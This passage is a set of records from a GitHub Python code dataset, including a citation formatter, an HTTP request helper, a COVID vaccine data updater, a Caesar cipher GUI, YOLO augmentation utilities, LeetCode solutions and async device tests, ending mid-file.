+{"seq_id":"40367110485","text":"from datetime import datetime, date\nimport re\n\ndef mla_citation(citation_raw, htmlify=True):\n    if htmlify == True:\n        container_mla = \"<i>\" + get_container_mla(citation_raw[\"container\"]) + \"</i>\"\n    else:\n        container_mla = get_container_mla(citation_raw[\"container\"])\n\n    citation_list = [\n        get_author_mla(citation_raw[\"authors\"]),\n        get_title_mla(citation_raw[\"title\"]),\n        container_mla,\n        get_contributor_mla(citation_raw[\"contributors\"]),\n        get_publisher_mla(citation_raw[\"publisher\"]),\n        get_pubdate_mla(citation_raw[\"pubdate\"]),\n        get_location_mla(citation_raw[\"location\"]),\n        get_accessdate_mla(citation_raw[\"accessdate\"])\n        ]\n    citation = [element for element in citation_list if element]\n    return \". \".join(citation) + '.'\n\ndef research_citation(citation_raw, htmlify=True):\n    if htmlify == True:\n        block_list = [\n            \"<i>\" + get_container_mla(citation_raw[\"container\"]) + \"</i>\",\n            get_volume_mla(citation_raw[\"volume\"]),\n            get_issue_mla(citation_raw[\"issue\"]),\n            get_pubdate_mla(citation_raw[\"pubdate\"]),\n            get_pages_mla(citation_raw[\"pages\"])\n            ]\n    else:\n        block_list = [\n            get_container_mla(citation_raw[\"container\"]),\n            get_volume_mla(citation_raw[\"volume\"]),\n            get_issue_mla(citation_raw[\"issue\"]),\n            get_pubdate_mla(citation_raw[\"pubdate\"]),\n            get_pages_mla(citation_raw[\"pages\"])\n            ]\n\n    block_mla = \", \".join([element for element in block_list if element])\n\n\n    citation_list = [\n        get_author_mla(citation_raw[\"authors\"]),\n        get_title_mla(citation_raw[\"title\"]),\n        block_mla,\n        get_publisher_mla(citation_raw[\"publisher\"]),\n        get_pubdate_mla(citation_raw[\"pubdate\"]),\n        get_location_mla(citation_raw[\"location\"]),\n        get_accessdate_mla(citation_raw[\"accessdate\"])\n        ]\n    citation = [element for element in citation_list if element]\n    return \". \".join(citation) + '.'\n\n#takes a list of authors\ndef get_author_mla(authors):\n    if authors:\n        name = authors[0].split(' ')\n        formatted_name = name[-1]\n        if len(name) > 1:\n            formatted_name += ', '\n            for i in range(len(name) - 1):\n                formatted_name += ' ' + name[i]\n\n        author_mla = formatted_name\n        if len(authors) > 1:\n            for i in range(len(authors) - 1):\n                author_mla += ', '\n                if authors[i + 1] == authors[-1]:\n                    author_mla += 'and '\n                author_mla += authors[i + 1]\n    else:\n        author_mla = None\n    return author_mla\n\ndef get_title_mla(title, is_stand_alone=False):\n    if title and is_stand_alone == False:\n        title_mla = \"\\\"\" + title + \"\\\"\"\n    elif title and is_stand_alone == True:\n        title_mla = title #italics\n    else:\n        title_mla = None\n    return title_mla\n\ndef get_container_mla(container):\n    return container #italics\n\ndef get_contributor_mla(contributors):\n    contributor_mla = None\n    if contributors:\n        contributor_mla = \"Contribution from \" + contributors[0]\n        if len(contributors) > 1:\n            for i in range(len(contributors) - 1):\n                contributor_mla += ', ' + contributors[i + 1]\n    return contributor_mla\n\ndef get_volume_mla(volume):\n    return \"vol. \" + volume\n\ndef get_issue_mla(issue):\n    return \"no. \" + issue\n\ndef get_pages_mla(pages):\n    return \"pp. \" + pages\n\ndef get_publisher_mla(publisher):\n    return publisher\n\ndef get_pubdate_mla(pubdate):\n    return pubdate.strftime(\"%d %b. %Y\")\n\ndef get_location_mla(location):\n    return location\n\ndef get_accessdate_mla(accessdate):\n    return \"Accessed \" + accessdate.strftime(\"%d %b. %Y\")\n","repo_name":"Baloguna16/better-citation","sub_path":"format/mla.py","file_name":"mla.py","file_ext":"py","file_size_in_byte":3775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"23454781847","text":"import unittest\nfrom darius.matter import Marker\nfrom darius.tc import Tc\n\nclass TestMarker(unittest.TestCase):\n    def test_1(self):\n        start_string = '0:25:12f'\n        end_string = '0:29:13f'\n        start_tc = Tc(start_string, 25)\n        end_tc = Tc(end_string, 25)\n        ma = Marker('Marker_01', start_tc, end_tc)\n        print(ma)\n\nif __name__ == '__main__':\n    unittest.main()\n","repo_name":"17876/darius","sub_path":"tests/marker/test_marker.py","file_name":"test_marker.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"4954597415","text":"import socket\nimport ssl\nimport urllib.request\nimport urllib.parse\nimport json\nfrom urllib.error import HTTPError, URLError\n\nimport insomniac.__version__ as __version__\nfrom insomniac.utils import *\n\nINSOMNIAC_USER_AGENT = f\"Insomniac/{__version__.__version__}\"\nINITIAL_TIMEOUT = 2  # seconds\nMAX_ATTEMPTS = 5  # number of attempts to make a request after timeout errors\nHTTP_OK = 200\n\n\nPUBLIC_USER_AGENTS = [\n    'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36',\n    'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14393'\n    'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',\n    'Mozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4'\n    'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/602.2.14 (KHTML, like Gecko) Version/10.0.1 Safari/602.2.14',\n    'Mozilla/5.0 (Linux; U; Android-4.0.3; en-us; Galaxy Nexus Build/IML74K) AppleWebKit/535.7 (KHTML, like Gecko) CrMo/16.0.912.75 Mobile Safari/535.7'\n]\n\n\ndef post(url, data, user_agent=INSOMNIAC_USER_AGENT, initial_timeout=INITIAL_TIMEOUT):\n    \"\"\"\n    Perform HTTP POST request.\n\n    :param url: URL to request for\n    :param data: data to send as the request body\n    :param user_agent: optional custom user-agent\n    :param initial_timeout: http timeout, increases exponentially on each socket.timeout error\n    :return: tuple of: response code, body (if response has one), and fail reason which is None if code is 200\n    \"\"\"\n\n    # parsed_data = urllib.parse.urlencode(data).encode()\n    json_data = json.dumps(data)\n    json_data_as_bytes = json_data.encode('utf-8')\n\n    headers = {\n        'User-Agent': user_agent,\n        'Content-Type': 'application/json; charset=utf-8',\n        'Content-Length': len(json_data_as_bytes)\n    }\n\n    return _request(url=url, data=json_data_as_bytes, headers=headers, initial_timeout=initial_timeout)\n\n\ndef get(url, user_agent=INSOMNIAC_USER_AGENT, initial_timeout=INITIAL_TIMEOUT):\n    \"\"\"\n    Perform HTTP GET request.\n\n    :param url: URL to request for\n    :param user_agent: optional custom user-agent\n    :param initial_timeout: http timeout, increases exponentially on each socket.timeout error\n    :return: tuple of: response code, body (if response has one), and fail reason which is None if code is 200\n    \"\"\"\n    headers = {\n        'User-Agent': user_agent\n    }\n\n    return _request(url=url, data=None, headers=headers, initial_timeout=initial_timeout)\n\n\ndef _request(url, data, headers, initial_timeout):\n    \"\"\"\n    Perform HTTP GET request.\n\n    :param url: URL to request for\n    :param headers: http headers\n    :param initial_timeout: http timeout, increases exponentially on each socket.timeout error\n    :return: tuple of: response code, body (if response has one), and fail reason which is None if code is 200\n    \"\"\"\n\n    request = urllib.request.Request(url=url, data=data, headers=headers)\n    body = None\n    attempt = 0\n    while True:\n        attempt += 1\n        timeout = initial_timeout ** attempt\n        try:\n            with urllib.request.urlopen(request, timeout=timeout, context=ssl.SSLContext()) as response:\n                code = response.code\n                fail_reason = None\n                if code == HTTP_OK:\n                    body = response.read()\n        except socket.timeout as e:\n            code = -1\n            fail_reason = e\n        except HTTPError as e:\n            code = e.code\n            fail_reason = e.reason\n        except URLError as e:\n            code = -1\n            fail_reason = e.reason\n\n        if isinstance(fail_reason, socket.timeout):\n            if attempt <= MAX_ATTEMPTS:\n                print(COLOR_FAIL + f\"Timeout ({timeout} sec), retrying...\" + COLOR_ENDC)\n            else:\n                print(COLOR_FAIL + f\"Timeout ({timeout} sec), reached max number of attempts.\" + COLOR_ENDC)\n                break\n        else:\n            break\n\n    if code != HTTP_OK and fail_reason is None:\n        fail_reason = Exception(\"unknown reason\")\n\n    return code, body, fail_reason\n","repo_name":"alexal1/Insomniac","sub_path":"insomniac/network.py","file_name":"network.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"en","doc_type":"code","stars":630,"dataset":"github-code","pt":"77"}
+{"seq_id":"28675426292","text":"class CommandContext:\n    \"\"\"\n    The CommandContext class bundles useful information about the execution of a command.\n    \"\"\"\n    def __init__(self,\n        command,\n        flags       = {},\n        tokens      = (),\n        token_types = (),\n        message_raw = None\n    ):\n        self.command     = command\n        self.flags       = flags\n        self.tokens      = tokens\n        self.token_types = token_types\n        self.message_raw = message_raw\n\n\nclass FlagValue:\n    def __init__(self,\n        flag,\n        value\n    ):\n        self.flag = flag\n        self.value = value\n\n    def __repr__(self):\n        return f\"Flag: {self.flag}, Value: {self.value}\"","repo_name":"alex-kumpula/BOWDN","sub_path":"BOWDN/command_context.py","file_name":"command_context.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70562132730","text":"import pandas as pd\nfrom utils import (\n    get_timestr,\n    get_fhi_datafile,\n    load_sources,\n    write_sources,\n    load_datafile,\n    write_datafile,\n    graphs,\n)\n\n\ndef update():\n    now = get_timestr()\n\n    # load current data\n    df = load_datafile(\"vaccine_doses\")\n\n    # get fhi datafile\n    datafile = get_fhi_datafile(\"data_covid19_sysvak_by_time_location\")\n\n    df_new = pd.read_csv(\n        datafile,\n        usecols=[\n            \"date\",\n            \"granularity_geo\",\n            \"location_name\",\n            \"n_dose_1\",\n            \"n_dose_2\",\n            \"n_dose_3\",\n            \"n_dose_4\",\n            \"cum_n_dose_1\",\n            \"cum_n_dose_2\",\n            \"cum_n_dose_3\",\n            \"cum_n_dose_4\",\n            \"cum_pr100_dose_1\",\n            \"cum_pr100_dose_2\",\n            \"cum_pr100_dose_3\",\n            \"cum_pr100_dose_4\",\n        ],\n        na_values=\"\",\n    )\n\n    df_new[[\"n_dose_4\", \"cum_n_dose_4\", \"cum_pr100_dose_4\"]] = (\n        df_new[[\"n_dose_4\", \"cum_n_dose_4\", \"cum_pr100_dose_4\"]].fillna(0).astype(int)\n    )\n\n    mapping = {\n        \"n_dose_1\": \"new_dose_1\",\n        \"n_dose_2\": \"new_dose_2\",\n        \"n_dose_3\": \"new_dose_3\",\n        \"n_dose_4\": \"new_dose_4\",\n        \"cum_n_dose_1\": \"total_dose_1\",\n        \"cum_n_dose_2\": \"total_dose_2\",\n        \"cum_n_dose_3\": \"total_dose_3\",\n        \"cum_n_dose_4\": \"total_dose_4\",\n        \"cum_pr100_dose_1\": \"total_pr100_dose_1\",\n        \"cum_pr100_dose_2\": \"total_pr100_dose_2\",\n        \"cum_pr100_dose_3\": \"total_pr100_dose_3\",\n        \"cum_pr100_dose_4\": \"total_pr100_dose_4\",\n    }\n\n    columns = [\n        \"granularity_geo\",\n        \"location_name\",\n        \"date\",\n        \"new_dose_1\",\n        \"new_dose_2\",\n        \"new_dose_3\",\n        \"new_dose_4\",\n        \"total_dose_1\",\n        \"total_dose_2\",\n        \"total_dose_3\",\n        \"total_dose_4\",\n        \"total_pr100_dose_1\",\n        \"total_pr100_dose_2\",\n        \"total_pr100_dose_3\",\n        \"total_pr100_dose_4\",\n        \"new_doses\",\n        \"total_doses\",\n        \"source\",\n    ]\n\n    df_new = df_new.rename(columns=mapping)\n\n    new_doses_cols = [\n        \"new_dose_1\",\n        \"new_dose_2\",\n        \"new_dose_3\",\n        \"new_dose_4\",\n    ]\n\n    total_doses_cols = [\n        \"total_dose_1\",\n        \"total_dose_2\",\n        \"total_dose_3\",\n        \"total_dose_4\",\n    ]\n\n    df_new[\"new_doses\"] = df_new[new_doses_cols].agg(\"sum\", axis=1)\n    df_new[\"total_doses\"] = df_new[total_doses_cols].agg(\"sum\", axis=1)\n    df_new[\"source\"] = \"fhi:git\"\n\n    df_new = df_new[columns]\n\n    for column in columns:\n        df_new[column] = df_new[column].astype(str).replace(\"nan\", \"\")\n        df[column] = df[column].astype(str)\n\n    df_new = df_new.sort_values(\n        by=[\"granularity_geo\", \"location_name\", \"date\"]\n    ).reset_index(drop=True)\n\n    df = df.sort_values(by=[\"granularity_geo\", \"location_name\", \"date\"]).reset_index(\n        drop=True\n    )\n\n    if not df_new.index.equals(df.index):\n        print(now, \"vaccine_doses: New update\")\n\n        sourcefile = load_sources()\n        sourcefile[\"vaccine_doses.csv\"][\"last_updated\"] = now\n        sourcefile[\"vaccine_doses.csv\"][\"pending_update\"] = 1\n\n        write_sources(sourcefile)\n        write_datafile(\"vaccine_doses\", df_new)\n\n        # Generate graph\n        graphs.vaccine_doses()\n","repo_name":"frefrik/covid19norge-data","sub_path":"src/fhi_git/vaccine.py","file_name":"vaccine.py","file_ext":"py","file_size_in_byte":3283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"353478729","text":"import tkinter as tk\n\n\ndef caesar_cipher(text, shift, direction):\n    \"\"\"\n    Encrypts or decrypts text using the Caesar Cipher with a specified shift value\n    \"\"\"\n    shifted_text = \"\"\n    for char in text:\n        if char.isalpha():\n            if direction == 'encrypt':\n                shifted_text += chr((ord(char) + shift - 65) % 26 + 65)\n            elif direction == 'decrypt':\n                shifted_text += chr((ord(char) - shift - 65) % 26 + 65)\n        else:\n            shifted_text += char\n    return shifted_text\n\ndef CaesarCommand():\n    def submit():\n        input_text = input_box.get('1.0', 'end-1c')\n        shift = int(shift_box.get())\n        direction = mode.get()\n        output_box.delete('1.0', 'end')\n        output_box.insert('1.0', caesar_cipher(input_text, shift, direction))\n    \n    root = tk.Tk()\n    root.title('Caesar Cipher')\n    root.configure(background='white')\n    \n    input_label = tk.Label(root, text='Enter Text:', bg='white')\n    input_label.grid(row=0, column=0, padx=5, pady=5)\n    input_box = tk.Text(root, height=5, width=50, bg='white')\n    input_box.grid(row=0, column=1, padx=5, pady=5)\n    \n    shift_label = tk.Label(root, text='Shift Amount:')\n    shift_label.grid(row=1, column=0, padx=5, pady=5)\n    shift_box = tk.Entry(root, width=10)\n    shift_box.grid(row=1, column=1, padx=5, pady=5)\n    \n    mode_label = tk.Label(root, text='Select Mode:')\n    mode_label.grid(row=2, column=0, padx=5, pady=5)\n    mode = tk.StringVar(value='encrypt')\n    encrypt_radio = tk.Radiobutton(root, text='Encrypt', variable=mode, value='encrypt')\n    encrypt_radio.grid(row=2, column=1, padx=5, pady=5)\n    decrypt_radio = tk.Radiobutton(root, text='Decrypt', variable=mode, value='decrypt')\n    decrypt_radio.grid(row=2, column=2, padx=5, pady=5)\n    \n    submit_button = tk.Button(root, text='Submit', command=submit)\n    submit_button.grid(row=3, column=1, padx=5, pady=5)\n    \n    output_label = tk.Label(root, text='Result:')\n    output_label.grid(row=4, column=0, padx=5, pady=5)\n    output_box = tk.Text(root, height=5, width=50)\n    output_box.grid(row=4, column=1, padx=5, pady=5)\n    \n    root.mainloop()\n","repo_name":"SamH434/Cryptomnesian-Institute","sub_path":"CaesarTool.py","file_name":"CaesarTool.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"3312984451","text":"to_import = [\n    'definitions'\n    ]\n\nimport importer\nimporter.import_modules(__name__, __file__, to_import)\n\n################################################################################\n\n\"\"\"Miscellaneous utility functions.\"\"\"\n\nfrom functools import reduce\n\nfrom PIL import Image\nimport numpy as np\nfrom matplotlib.colors import rgb_to_hsv, hsv_to_rgb\n\n\ndef compose(*funcs):\n    \"\"\"Compose arbitrarily many functions, evaluated left to right.\n\n    Reference: https://mathieularose.com/function-composition-in-python/\n    \"\"\"\n    # return lambda x: reduce(lambda v, f: f(v), funcs, x)\n    if funcs:\n        return reduce(lambda f, g: lambda *a, **kw: g(f(*a, **kw)), funcs)\n    else:\n        raise ValueError('Composition of empty sequence not supported.')\n\ndef letterbox_image(image, size):\n    '''resize image with unchanged aspect ratio using padding\n    '''\n    iw, ih = image.size\n    w, h = size\n    scale = min(w/iw, h/ih)\n    nw = int(iw*scale)\n    nh = int(ih*scale)\n\n    image = image.resize((nw,nh), Image.BICUBIC)\n    new_image = Image.new('RGB', size, (255,255,255))\n    new_image.paste(image, ((w-nw)//2, (h-nh)//2))\n    return new_image\n\ndef rand(a=0, b=1):\n    return np.random.rand()*(b-a) + a\n\ndef get_random_data(\n        annotation_line, input_shape, random=True, max_boxes=20,\n        proc_img=True):\n    '''random preprocessing for real-time data augmentation\n    '''\n    line = annotation_line.split()\n    image = Image.open(line[0])\n    iw, ih = image.size\n    h, w = input_shape\n    box = np.array([np.array(list(map(int,box.split(',')))) for box in line[1:]])\n    \n    if not random:\n        # resize image\n        scale = min(w/iw, h/ih)\n        nw = int(iw*scale)\n        nh = int(ih*scale)\n        dx = (w-nw)//2\n        dy = (h-nh)//2\n        image_data=0\n        if proc_img:\n            image = image.resize((nw,nh), Image.BILINEAR)\n            new_image = Image.new('RGB', (w,h), (255,255,255))\n            new_image.paste(image, (dx, dy))\n            image_data = np.array(new_image)/255.\n\n        # correct boxes\n        box_data = np.zeros((max_boxes,5))\n        if len(box)>0:\n            np.random.shuffle(box)\n            if len(box)>max_boxes: box = box[:max_boxes]\n            box[:, [0,2]] = box[:, [0,2]]*scale + dx\n            box[:, [1,3]] = box[:, [1,3]]*scale + dy\n            box_data[:len(box)] = box\n\n        return image_data, box_data\n    \n    # Rescale\n    scale = rand(definitions.AugmentationParameters.scale_low, definitions.AugmentationParameters.scale_high) # old: .7, 1.3\n    nh = int(scale*h)\n    nw = int(scale*w)\n    image = image.resize((nw,nh), Image.BILINEAR)\n\n    # place image\n    dx = int(rand(0, w-nw))\n    dy = int(rand(0, h-nh))\n    new_image = Image.new('RGB', (w,h), (255,255,255))\n    new_image.paste(image, (dx, dy))\n    image = new_image\n\n    # flip image or not\n    flip = False#rand()<.5\n    if flip: image = image.transpose(Image.FLIP_LEFT_RIGHT)\n    \n    # Rotate or not\n    rotate_90 = (rand()< definitions.AugmentationParameters.rotation_p) and definitions.AugmentationParameters.enable_90rotation\n    rotate_180 = (rand()< definitions.AugmentationParameters.rotation_p) and definitions.AugmentationParameters.enable_180rotation\n    if rotate_90: image = image.transpose(Image.ROTATE_90)\n    if rotate_180: image = image.transpose(Image.ROTATE_180)\n        \n    # distort image\n    \"\"\"hue = 0 #rand(-hue, hue)\n    sat = 1 #rand(1, sat) if rand()<.5 else 1/rand(1, sat)\n    val = rand(1, val) if rand()<.5 else 1/rand(1, val)\n    x = rgb_to_hsv(np.array(image)/255.)\n    x[..., 0] += hue\n    x[..., 0][x[..., 0]>1] -= 1\n    x[..., 0][x[..., 0]<0] += 1\n    x[..., 1] *= sat\n    x[..., 2] *= val\n    x[x>1] = 1\n    x[x<0] = 0\"\"\"\n    #image_data = hsv_to_rgb(x) # numpy array, 0 to 1\n    image_data = np.array(image)/255.\n    \n    # BOX: x1, y1, x2, y2\n    # correct boxes\n    box_data = np.zeros((max_boxes,5))\n    if len(box)>0:\n        np.random.shuffle(box)\n        box[:, [0,2]] = box[:, [0,2]]*nw/iw + dx\n        box[:, [1,3]] = box[:, [1,3]]*nh/ih + dy\n        if flip: box[:, [0,2]] = w - box[:, [2,0]]\n        box[:, 0:2][box[:, 0:2]<0] = 0\n        box[:, 2][box[:, 2]>w] = w\n        box[:, 3][box[:, 3]>h] = h\n        box_w = box[:, 2] - box[:, 0]\n        box_h = box[:, 3] - box[:, 1]\n        box = box[np.logical_and(box_w>1, box_h>1)] # discard invalid box\n        if len(box)>max_boxes: box = box[:max_boxes]\n        \n        \n        if rotate_90:\n            box[:, [0,1,2,3]] = box[:, [1,2,3,0]] # Added\n            box[:, [1,3]] = h - box[:, [1,3]]\n            \n        if rotate_180:\n            # Fix this if w!=h\n            box[:, [0,1,2,3]] = box[:, [1,2,3,0]] # Added\n            box[:, [1,3]] = h - box[:, [1,3]]\n            box[:, [0,1,2,3]] = box[:, [1,2,3,0]] # Added\n            box[:, [1,3]] = h - box[:, [1,3]]\n            \n            #box[:, [0,1,2,3]] = box[:, [1,0,3,2]] # Added\n        \n        box_data[:len(box)] = box\n    \n    return image_data, box_data\n","repo_name":"ozanzgur/AIRepo","sub_path":"object_detection/yolov3/yoloutils.py","file_name":"yoloutils.py","file_ext":"py","file_size_in_byte":4976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"20813971192","text":"\"\"\"\n    LeetCode #647 - Palindromic Substrings\n    https://leetcode.com/problems/palindromic-substrings/\n    \n    LeetCode #5 - Longest Palindromic Substring\n    https://leetcode.com/problems/longest-palindromic-substring/\n    \n    LeetCode #516 - Longest Palindromic Subsequence\n    https://leetcode.com/problems/longest-palindromic-subsequence/\n    \n    Time Complexity - O(NxN)\n    Space Complexity - O(NxN)\n    Dynamic Programming - Bottom Up Approach\n\"\"\"\n\nclass Solution:\n    # Palindromic Strings (bbbab = > 7 = > {b, b, b, bb, bb, bbb, bab})\n    def countSubstrings(self, s: str) -> int:\n        count = 0\n        dp = [[0] * len(s) for _ in range(len(s))]\n        \n        # each string is a palindrome\n        for i in range(len(s)):\n            dp[i][i] = 1\n            count += 1\n            \n        # for each string, start by length 1 till the end of the string\n        for l in range(1, len(s)):\n            for i in range(len(s)-l):\n                j = i+l\n                \n                # if the length of the string is 2\n                if s[i] == s[j] and i == j-1:\n                    dp[i][j] = 1\n                    count += 1\n                    \n                # if the length of the string is greater than 2\n                elif s[i] == s[j] and dp[i+1][j-1] == 1:\n                    dp[i][j] = 1\n                    count += 1\n        return count\n\n    # Longest Palindromic Substring (bbbab = > 3 => (bbb or bab))\n    def longestPalindrome(self, s: str) -> str:\n        dp = [[0] * len(s) for _ in range(len(s))]\n        start, end = 0, 0 # To track the first and last index of longest palindrome\n        \n        for i in range(len(s)):\n            dp[i][i] = 1\n            \n        for l in range(1, len(s)):\n            for i in range(len(s)-l):\n                j = i+l\n\n                # if the length of the string is 2\n                if s[i] == s[j] and i == j-1:\n                    dp[i][j] = 2\n                    start, end = i, j\n                    \n                # if the length of the string is greater than 2\n                elif s[i] == s[j] and dp[i+1][j-1] != 0:\n                    dp[i][j] = 2 + dp[i+1][j-1]\n                    start, end = i, j\n        return s[start:end+1]\n\n    # Longest Palindromic subsequence (bbbab = > 4 => bbbb)\n    def longestPalindromeSubseq(self, s: str) -> int:\n        dp = [[0] * len(s) for _ in range(len(s))]\n        \n        for i in range(len(s)):\n            dp[i][i] = 1\n        \n        for l in range(1, len(s)):\n            for i in range(len(s)-l):\n                j = i+l\n\n                if s[i] == s[j]:\n                    dp[i][j] = 2 + dp[i+1][j-1]\n                else:\n                    dp[i][j] = max(dp[i][j-1], dp[i+1][j])\n        return dp[0][-1]\n","repo_name":"abhisheksura/Python","sub_path":"Dynamic Programming/Palindrome.py","file_name":"Palindrome.py","file_ext":"py","file_size_in_byte":2757,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73477230649","text":"import specmine.tools.write_ttt_values\n\nif __name__ == \"__main__\":\n    specmine.script(specmine.tools.write_ttt_values.main)\n\nimport cPickle as pickle\nimport specmine\n\nlogger = specmine.get_logger(__name__)\n\nspecmine.annotations(\n    out_path = (\"path to write values pickle\",),\n    opponent_path = (\"path to opponent policy; random otherwise\",)\n    )\ndef main(out_path, opponent_path = None):\n    \"\"\"Compute the TTT value function using value iteration.\"\"\"\n\n    # construct domain\n    opponent_domain = specmine.rl.TicTacToeDomain(player = -1)\n\n    if opponent_path is None:\n        opponent_policy = specmine.rl.RandomPolicy(opponent_domain)\n    else:\n        logger.info(\"loading opponent policy from %s\", opponent_path)\n\n        with specmine.openz(opponent_path) as opponent_file:\n            opponent_policy = pickle.load(opponent_file)\n\n    domain = specmine.rl.TicTacToeDomain(player = 1, opponent = opponent_policy)\n\n    # compute the value function\n    #values = specmine.rl.compute_state_values_table(domain)\n    values = specmine.rl.compute_state_values_table_nondet(domain)\n\n    # and store it\n    with specmine.openz(out_path, \"wb\") as out_file:\n        pickle.dump(values, out_file)\n\n","repo_name":"colinsongf/spectral-mining","sub_path":"specmine/tools/write_ttt_values.py","file_name":"write_ttt_values.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"72799209849","text":"'''\nWe don't actually remove the leaves from the tree, instead we calculate for height\n\nHeight of a node will be the # of layers of child nodes from current node to the ground floor\n\n* if the current node is a parent - height is the maxHeight between the left subtree and right subtree\n\nso the strategy is to simply do DFS - and start calculating height from the bottom up\n\nsolution that removes the leaf is at the bottom\n'''\nclass Node:\n  def __init__(self, val=0, left=None, right=None):\n    self.val = val\n    self.left = left\n    self.right = right\n\ndef findLeaves(root):\n  def getHeight(node):\n    # our base case is -1, because we hit this base case when find a leaf node and it does a recursive call on its left and right pointers\n    # when it returns -1, our height calculation adds 1 - 1 because it needs to account for the current layer, so leaves offset to 0\n    # which is correct because leaf nodes have a height of 0 - they have no layers of children between them and the floor\n    if not node:\n      return -1\n    \n    height = max(getHeight(node.left), getHeight(node.right)) + 1\n    \n    # once height is calculated we created a sublist to append nodes with the same height\n    if height >= len(result):\n      result.append([])\n    \n    # height acts as both the height and index of the sublist the node corresponds too\n    result[height].append(node.val)\n    \n    return height\n  \n  # result array will hold the sublist of leaves with the same height\n  result = []\n  \n  # evoke our getHeight function - once the function finishes result, will be a list of lists\n  getHeight(root)\n  \n  return result\n\n'''\nTime: O(N) - N is the total number of nodes in the input tree - we traverse every node only once\nSpace: O(N^2) - result list is a list of lists\n'''\n\ndef findLeaves(root):\n  leaf = []\n  res = []\n  \n  def helper(node):\n    # if we find a leaf node add it to the leaf list\n    if not node.left and not node.right:\n      leaf.append(node.val)\n      return -1\n    \n    # traverse the left substree till I hit a leaf node\n    # once i hit the leaf node, cut it off\n    if node.left is not None:\n      vs = helper(node.left)\n      if vs == -1:\n        node.left = None\n    \n    # traverse the right substree till I hit a leaf node\n    # once i hit the leaf node, cut it off\n    if node.right is not None:\n      vs = helper(node.right)\n      if vs == -1:\n        node.right = None\n    \n    return 1\n  \n  while root is not None:\n    vs = helper(root)\n    res.append(leaf)\n    leaf = []\n    if vs == -1:\n      break\n  \n  return res\n\n'''\ntime: O(HlogN)\nspace: O(N^2) - result list is a list of lists\n'''\n","repo_name":"LennyGonz/LeetCode-Questions","sub_path":"LinkedIn/Find_Leaves_Of_Binary_Tree.py","file_name":"Find_Leaves_Of_Binary_Tree.py","file_ext":"py","file_size_in_byte":2616,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"74536897528","text":"import asyncio\nfrom xml.etree import ElementTree as Et\n\nfrom aioraven.data import MeterList\nfrom aioraven.streams import open_connection\nfrom aioraven.streams import RAVEnNetworkDevice\nimport pytest\n\nfrom .mock_device import mock_device\n\n\n@pytest.mark.asyncio\nasync def test_tcp_data():\n    \"\"\"Verify simple device query behavior.\"\"\"\n    responses = {\n        b'<Command><Name>get_meter_list</Name></Command>':\n            b'<MeterList>'\n            b'    <DeviceMacId>0x0123456789abcdef</DeviceMacId>'\n            b'</MeterList>',\n    }\n\n    async with mock_device(responses) as (host, port):\n        async with RAVEnNetworkDevice(host, port) as dut:\n            actual = await dut.get_meter_list()\n\n    assert actual == MeterList(\n        device_mac_id=bytes.fromhex('0123456789ABCDEF'),\n        meter_mac_ids=[])\n\n\n@pytest.mark.asyncio\nasync def test_tcp_disconnect():\n    \"\"\"Verify behavior when a device is unexpectedly disconnected.\"\"\"\n    responses = {\n        b'<Command><Name>get_meter_list</Name></Command>':\n            b'<MeterList>'\n            b'    <DeviceMacId>0x0123456789abcdef</DeviceMacId>'\n            b'</MeterList>',\n    }\n\n    async with mock_device(responses) as (host, port):\n        dut = RAVEnNetworkDevice(host, port)\n        await dut.open()\n        assert await dut.get_meter_list()\n    async with dut:\n        assert not await dut.get_meter_list()\n        assert not await dut.get_meter_list()\n\n\n@pytest.mark.asyncio\nasync def test_tcp_incomplete():\n    \"\"\"Verify behavior when a partial fragment is received.\"\"\"\n    responses = {\n        b'<Command><Name>get_meter_list</Name></Command>':\n            b'<MeterList>'\n            b'    <DeviceMacId>0x0123456789abcdef</DeviceMacId>'\n            b'</MeterList>'\n            b'<DeviceInfo>'\n    }\n\n    async with mock_device(responses) as (host, port):\n        dut = RAVEnNetworkDevice(host, port)\n        await dut.open()\n        assert await dut.get_meter_list()\n\n        task = asyncio.create_task(dut.get_meter_list())\n        await asyncio.wait((task,), timeout=0.05)\n    async with dut:\n        with pytest.raises(Et.ParseError):\n            await task\n        assert not await dut.get_meter_list()\n\n\n@pytest.mark.asyncio\nasync def test_tcp_not_open():\n    \"\"\"Verify behavior when reading from an unopened device.\"\"\"\n    async with mock_device() as (host, port):\n        dut = RAVEnNetworkDevice(host, port)\n        with pytest.raises(RuntimeError):\n            await dut.get_device_info()\n\n\n@pytest.mark.asyncio\nasync def test_tcp_parse_error():\n    \"\"\"Verify behavior when invalid syntax is received.\"\"\"\n    responses = {\n        b'<Command><Name>get_device_info</Name></Command>':\n            b'</DeviceInfo>',\n        b'<Command><Name>get_meter_list</Name></Command>':\n            b'<MeterList>'\n            b'    <DeviceMacId>0x0123456789abcdef</DeviceMacId>'\n            b'</MeterList>',\n    }\n\n    async with mock_device(responses) as (host, port):\n        async with 